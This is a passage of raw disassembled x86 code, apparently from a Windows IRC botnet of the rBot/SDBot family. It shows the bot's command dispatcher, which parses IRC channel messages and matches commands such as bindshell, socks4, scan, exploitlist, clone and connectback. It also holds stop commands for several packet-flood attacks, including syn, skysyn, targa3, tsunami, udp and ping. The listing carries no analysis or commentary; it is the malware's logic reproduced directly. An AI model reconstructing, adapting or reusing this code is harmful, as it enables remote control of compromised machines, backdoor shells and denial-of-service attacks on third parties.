					; sub_401AA1+64Cj
		push	[ebp+var_8C]
		push	edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402253
		mov	[ebp+var_4], 1


loc_402253:				; CODE XREF: sub_401AA1+7A9j
		cmp	[ebp+var_88], ebx
		jz	loc_401F20
		push	offset dword_42F47C
		push	[ebp+var_88]
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40227A
		cmp	[ebp+var_4], ebx
		jz	short loc_402286


loc_40227A:				; CODE XREF: sub_401AA1+7D2j
		lea	eax, [ebp+var_C0]
		mov	[ebp+var_88], eax


loc_402286:				; CODE XREF: sub_401AA1+7D7j
		cmp	[ebp+var_84], ebx
		jz	loc_401F20
		inc	[ebp+var_84]
		jz	short loc_4022D0
		cmp	[ebp+arg_10], ebx
		jz	short loc_4022D0
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B650
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C4E0
		add	esp, 10h
		neg	eax
		sbb	eax, eax
		add	eax, 4
		mov	[ebp+var_A4], eax
		jmp	short loc_4022D6
; ---------------------------------------------------------------------------


loc_4022D0:				; CODE XREF: sub_401AA1+7F7j
					; sub_401AA1+7FCj
		mov	eax, [ebp+var_A4]


loc_4022D6:				; CODE XREF: sub_401AA1+82Dj
		mov	esi, eax
		shl	esi, 2
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_401F20
		push	edi
		push	offset dword_42F470
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40210C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_402326
		mov	eax, dword_4CE1BC
		mov	eax, off_42AABC[eax*4]
		cmp	[eax], bl
		jz	short loc_402326
		push	eax
		push	ecx
		push	offset dword_42F454
		jmp	loc_401E42
; ---------------------------------------------------------------------------


loc_402326:				; CODE XREF: sub_401AA1+867j
					; sub_401AA1+877j
		push	edi
		push	offset dword_42F44C
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40210C
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_40210C
		mov	eax, [ebp+var_88]
		cmp	byte ptr [eax],	23h
		jz	loc_40210C
		push	esi
		push	eax
		push	offset dword_42F434
		jmp	loc_401E42
; ---------------------------------------------------------------------------


loc_402365:				; CODE XREF: sub_401AA1+8D2j
		push	32h
		call	dword_428080	; Sleep


loc_40236D:				; CODE XREF: sub_401AA1+794j
		cmp	[ebp+var_19F0],	ebx
		jz	short loc_402365
		jmp	short loc_402399
; ---------------------------------------------------------------------------


loc_402377:				; CODE XREF: sub_401AA1+6B8j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset unk_42F3F0
		push	eax
		call	sub_41BEF6
		add	esp, 10h


loc_402399:				; CODE XREF: sub_401AA1+8D4j
					; sub_401AA1+A0Ej ...
		xor	esi, esi
		inc	esi
		jmp	loc_406BE7
; ---------------------------------------------------------------------------


loc_4023A1:				; CODE XREF: sub_401AA1+6ACj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4024EC
		cmp	[ebp+var_A8], ebx
		jz	loc_4024C5
		push	1Bh
		call	sub_40B496
		test	eax, eax
		pop	ecx
		jnz	loc_4024B4
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BEF6
		push	[ebp+esi+var_80]
		call	sub_41BDE9
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C0]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BC60
		mov	eax, [ebp+var_4]
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_42F3C8
		push	eax
		call	sub_41BEF6
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	1Bh
		push	eax
		call	sub_40B254
		add	esp, 34h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset sub_41620D
		push	ebx
		push	ebx
		call	dword_428084	; CreateThread
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_44125C[ecx], eax
		jnz	short loc_4024A7
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42F390
		jmp	loc_40823D
; ---------------------------------------------------------------------------


loc_40249F:				; CODE XREF: sub_401AA1+A0Cj
		push	32h
		call	dword_428080	; Sleep


loc_4024A7:				; CODE XREF: sub_401AA1+9EBj
		cmp	[ebp+var_2904],	ebx
		jz	short loc_40249F
		jmp	loc_402399
; ---------------------------------------------------------------------------


loc_4024B4:				; CODE XREF: sub_401AA1+931j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42F360
		jmp	loc_40823D
; ---------------------------------------------------------------------------


loc_4024C5:				; CODE XREF: sub_401AA1+921j
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_42F32C


loc_4024D1:				; DATA XREF: sub_4FB392+8w
					; sub_4FB392+37r
		jmp	loc_40823D
; ---------------------------------------------------------------------------


loc_4024D6:				; CODE XREF: sub_401AA1+691j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42A980
		mov	[edi], ecx
		jnz	loc_401F20


loc_4024EC:				; CODE XREF: sub_401AA1+915j
		mov	edi, [edi]
		push	edi
		push	offset aK	; "k"
		mov	[ebp+arg_8], edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40956F
		push	edi
		push	offset asc_42F324 ; "l"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40956F
		cmp	[ebp+var_A8], ebx
		jnz	short loc_40253D
		push	[ebp+var_8C]
		push	offset dword_42F4C4
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409567


loc_40253D:				; CODE XREF: sub_401AA1+A80j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409567
		xor	edi, edi
		cmp	dword_42AE00, ebx
		jle	loc_4026EA
		mov	[ebp+arg_20], offset dword_4404C8


loc_40255B:				; CODE XREF: sub_401AA1+AD9j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402581
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42AE00
		jl	short loc_40255B
		jmp	loc_4026EA
; ---------------------------------------------------------------------------


loc_402581:				; CODE XREF: sub_401AA1+AC9j
		push	offset asc_42F5EC ; " :"
		push	[ebp+arg_0]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F20
		mov	cl, byte_42A980
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42A980
		mov	[eax+3], cl
		lea	ecx, dword_4404E0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BC60
		lea	eax, dword_4404C8[edi]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax
		lea	edi, [ebp+esi+var_50]


loc_4025DC:				; CODE XREF: sub_401AA1+BDEj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BF70
		add	esp, 14h
		test	eax, eax
		jz	short loc_40263E
		cmp	[edi], ebx
		jz	short loc_402642
		push	[ebp+arg_C]
		call	sub_41B650
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_402676
		push	dword ptr [edi-4]
		push	[ebp+var_C]
		call	sub_41BF70
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_402676
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_418584
		add	esp, 0Ch
		jmp	short loc_402676
; ---------------------------------------------------------------------------


loc_40263E:				; CODE XREF: sub_401AA1+B63j
		cmp	[edi], ebx
		jnz	short loc_402676


loc_402642:				; CODE XREF: sub_401AA1+B67j
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_418584
		add	esp, 18h


loc_402676:				; CODE XREF: sub_401AA1+B75j
					; sub_401AA1+B86j ...
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	loc_4025DC
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_402692:				; CODE XREF: sub_401AA1+C3Dj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BF70
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026D5
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4026D5
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_418584
		add	esp, 0Ch


loc_4026D5:				; CODE XREF: sub_401AA1+C19j
					; sub_401AA1+C1Fj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_402692
		mov	[ebp+var_2C4], 1


loc_4026EA:				; CODE XREF: sub_401AA1+AADj
					; sub_401AA1+ADBj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42A980
		jz	short loc_402703
		cmp	[ebp+var_2C4], ebx
		jz	loc_4028EF


loc_402703:				; CODE XREF: sub_401AA1+C54j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_418584
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_418584
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_418584
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AD20
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_418584
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_418584
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41BF70
		add	esp, 14h
		jmp	loc_40286A
; ---------------------------------------------------------------------------


loc_40277A:				; CODE XREF: sub_401AA1+DCBj
		push	edi
		push	[ebp+arg_0]
		call	sub_41BF70
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_A0]
		push	offset asc_42F2E4 ; ")"
		push	eax
		call	sub_41C764
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_4027BE
		cmp	[ebp+var_A0], 39h
		jle	short loc_4027D4


loc_4027BE:				; CODE XREF: sub_401AA1+D12j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BC60
		add	esp, 0Ch


loc_4027D4:				; CODE XREF: sub_401AA1+D1Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BDE9
		test	eax, eax
		pop	ecx
		jle	short loc_4027FA
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BDE9
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40280E
; ---------------------------------------------------------------------------


loc_4027FA:				; CODE XREF: sub_401AA1+D42j
		call	sub_41BF52
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40280E:				; CODE XREF: sub_401AA1+D57j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B650
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BC00
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_418584
		push	edi
		push	[ebp+arg_0]
		call	sub_41BF70
		add	esp, 30h


loc_40286A:				; CODE XREF: sub_401AA1+CD4j
		test	eax, eax
		jnz	loc_40277A
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BC60
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BC60
		mov	edi, offset asc_42F5E8 ; " "
		lea	eax, [ebp+var_4EF8]
		push	edi
		push	eax
		call	sub_41C764
		add	esp, 20h
		mov	[ebp+var_90], eax
		mov	[ebp+arg_10], 1


loc_4028BD:				; CODE XREF: sub_401AA1+E36j
		push	edi
		push	ebx
		call	sub_41C764
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_10]
		inc	[ebp+arg_10]
		cmp	[ebp+arg_10], 20h
		mov	[ebp+ecx*4+var_90], eax
		jl	short loc_4028BD
		lea	eax, [ebp+esi+var_90]
		mov	ecx, [eax]
		cmp	ecx, ebx
		jz	loc_401F20
		add	ecx, 3
		mov	[eax], ecx


loc_4028EF:				; CODE XREF: sub_401AA1+C5Cj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40951A
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40951A
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497C
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40497C
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048D8
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048D8
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048C9
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048C9
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048BF
		push	edi
		push	offset aRz	; "rz"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048BF
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048A6
		push	edi
		push	offset aSt	; "st"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048A6
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A9
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A9
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A9
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047A9
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046A4
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046A4
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402A9C
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42F240
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402A9C:				; CODE XREF: sub_401AA1+FE1j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404583
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404583
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402AEF
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42F218
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402AEF:				; CODE XREF: sub_401AA1+1034j
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B18
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42F1E0
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402B18:				; CODE XREF: sub_401AA1+105Dj
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42F1B4
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401AA1+1086j
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B6A
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42F1A0
		push	offset dword_42F17C
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402B6A:				; CODE XREF: sub_401AA1+10AFj
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B93
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42F15C
		push	offset dword_42F14C
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402B93:				; CODE XREF: sub_401AA1+10D8j
		push	edi
		push	offset dword_42F140
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBC
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42F134
		push	offset dword_42F128
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402BBC:				; CODE XREF: sub_401AA1+1101j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE5
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42F114
		push	offset dword_42F108
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402BE5:				; CODE XREF: sub_401AA1+112Aj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0E
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42F0EC
		push	offset dword_42F0DC
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402C0E:				; CODE XREF: sub_401AA1+1153j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C37
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42F0C0
		push	offset dword_42F0B0
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402C37:				; CODE XREF: sub_401AA1+117Cj
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C60
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42F098
		push	offset dword_42F08C
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402C60:				; CODE XREF: sub_401AA1+11A5j
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402DB6
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42F134
		push	offset dword_42F128
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		push	esi
		push	0Eh
		push	offset dword_42F114
		push	offset dword_42F108
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42F074
		push	offset dword_42F068
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		push	esi
		push	16h
		push	offset dword_42F05C
		push	offset dword_42F050
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42F0C0
		push	offset dword_42F0B0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		push	esi
		push	12h
		push	offset dword_42F098
		push	offset dword_42F08C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42F040
		push	offset dword_42F030
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		push	esi
		push	13h
		push	offset dword_42F020
		push	offset dword_42F010
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42F0EC
		push	offset dword_42F0DC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B4DC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42EFDC
		push	[ebp+var_88]
		push	edi
		call	sub_409743
		add	esp, 34h
		jmp	loc_401F20
; ---------------------------------------------------------------------------


loc_402DB6:				; CODE XREF: sub_401AA1+11CEj
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402DDF
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42F040
		push	offset dword_42F030
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402DDF:				; CODE XREF: sub_401AA1+1324j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E08
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42F020
		push	offset dword_42F010
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402E08:				; CODE XREF: sub_401AA1+134Dj
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E31
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42F074
		push	offset dword_42F068
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402E31:				; CODE XREF: sub_401AA1+1376j
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E5A
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42F05C
		push	offset dword_42F050
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402E5A:				; CODE XREF: sub_401AA1+139Fj
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E83
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42EF94
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402E83:				; CODE XREF: sub_401AA1+13C8j
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40456B
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40456B
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404553
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404553
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F00
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42EF44
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402F00:				; CODE XREF: sub_401AA1+1445j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F29
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42EF08
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402F29:				; CODE XREF: sub_401AA1+146Ej
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F52
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42EED0
		jmp	loc_408C3A
; ---------------------------------------------------------------------------


loc_402F52:				; CODE XREF: sub_401AA1+1497j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453D
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40453D
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax


loc_402F8A:				; DATA XREF: .XPack:004FBE4Bo
		pop	ecx
		jz	loc_404527
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404527
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404511
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404511
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044FB
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044FB
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044DC
		push	edi
		push	offset aR	; "r"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044DC
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044BA
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044BA
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404471
		push	edi
		push	offset aQ	; "q"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404471
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404433
		push	edi
		push	offset aS_1	; "s"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404433
		push	edi
		push	offset aId	; "id"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043FC
		push	edi
		push	offset aI	; "i"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043FC
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41C6E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40311E
		call	sub_4189C2
		test	eax, eax
		mov	eax, offset dword_42EDF0
		jnz	short loc_4030F0
